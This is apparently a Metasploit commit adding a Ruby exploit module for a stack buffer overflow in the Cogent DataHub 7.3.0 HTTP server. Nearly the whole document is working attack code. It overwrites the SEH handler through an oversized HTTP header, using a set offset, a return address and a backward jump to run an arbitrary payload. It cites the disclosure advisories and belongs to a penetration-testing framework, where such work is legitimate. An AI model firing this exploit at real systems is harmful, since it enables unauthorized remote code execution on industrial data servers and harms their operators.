Land rapid7#2236 - Cogent DataHub HTTP Server Buffer Overflow

Author: wchen-r7

modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb

@@ -0,0 +1,101 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Exploit::Remote::Seh
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Cogent DataHub HTTP Server Buffer Overflow',
+			'Description'    => %q{
+				This module exploits a stack based buffer overflow on Cogent DataHub 7.3.0. The
+				vulnerability exists in the HTTP server - while handling HTTP headers, a
+				strncpy() function is used in a dangerous way. This module has been tested
+				successfully on Cogent DataHub 7.3.0 (Demo) on Windows XP SP3.
+			},
+			'Author'         =>
+				[
+					'rgod <rgod[at]autistici.org>',	# Vulnerability discovery
+					'juan vazquez', # Metasploit module
+				],
+			'License'        => MSF_LICENSE,
+			'References'     =>
+				[
+					[ 'OSVDB', '95819'],
+					[ 'BID', '53455'],
+					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-178' ],
+					[ 'URL', 'http://www.cogentdatahub.com/Info/130712_ZDI-CAN-1915_Response.html']
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'Space'       => 33692,
+					'DisableNops' => true,
+					'BadChars'    => "\x00\x0d\x0a\x3a"
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					# Tested with the Cogent DataHub 7.3.0 Demo
+					# CogentDataHubV7.exe 7.3.0.70
+					['Windows XP SP3 English / Cogent DataHub 7.3.0',
+						{
+							'Ret'         => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates
+							'Offset'      => 33692,
+							'CrashLength' => 4000 # In order to ensure crash before the stack cookie check
+						}
+					],
+				],
+			'DefaultTarget'  => 0,
+			'DisclosureDate' => 'Jul 26 2013'
+		))
+
+	end
+
+	def check
+		res = send_request_cgi({
+			'uri'          => "/datahub.asp",
+			'method'       => 'GET',
+		})
+
+		if res and res.code == 200 and res.body =~ /<title>DataHub - Web Data Browser<\/title>/
+			return Exploit::CheckCode::Detected
+		end
+
+		return Exploit::CheckCode::Safe
+	end
+
+	def exploit
+		print_status("Trying target #{target.name}...")
+
+		off = target['Offset'] + 8 # 8 => length of the seh_record
+		bof = payload.encoded
+		bof << rand_text_alpha(target['Offset'] - payload.encoded.length)
+		bof << generate_seh_record(target.ret)
+		bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string
+		bof << rand_text(target['CrashLength'])
+
+		print_status("Sending request to #{rhost}:#{rport}")
+
+		send_request_cgi({
+			'uri'          => "/",
+			'method'       => 'GET',
+			'raw_headers'  => "#{bof}: #{rand_text_alpha(20 + rand(20))}\r\n"
+		})
+
+	end
+end
+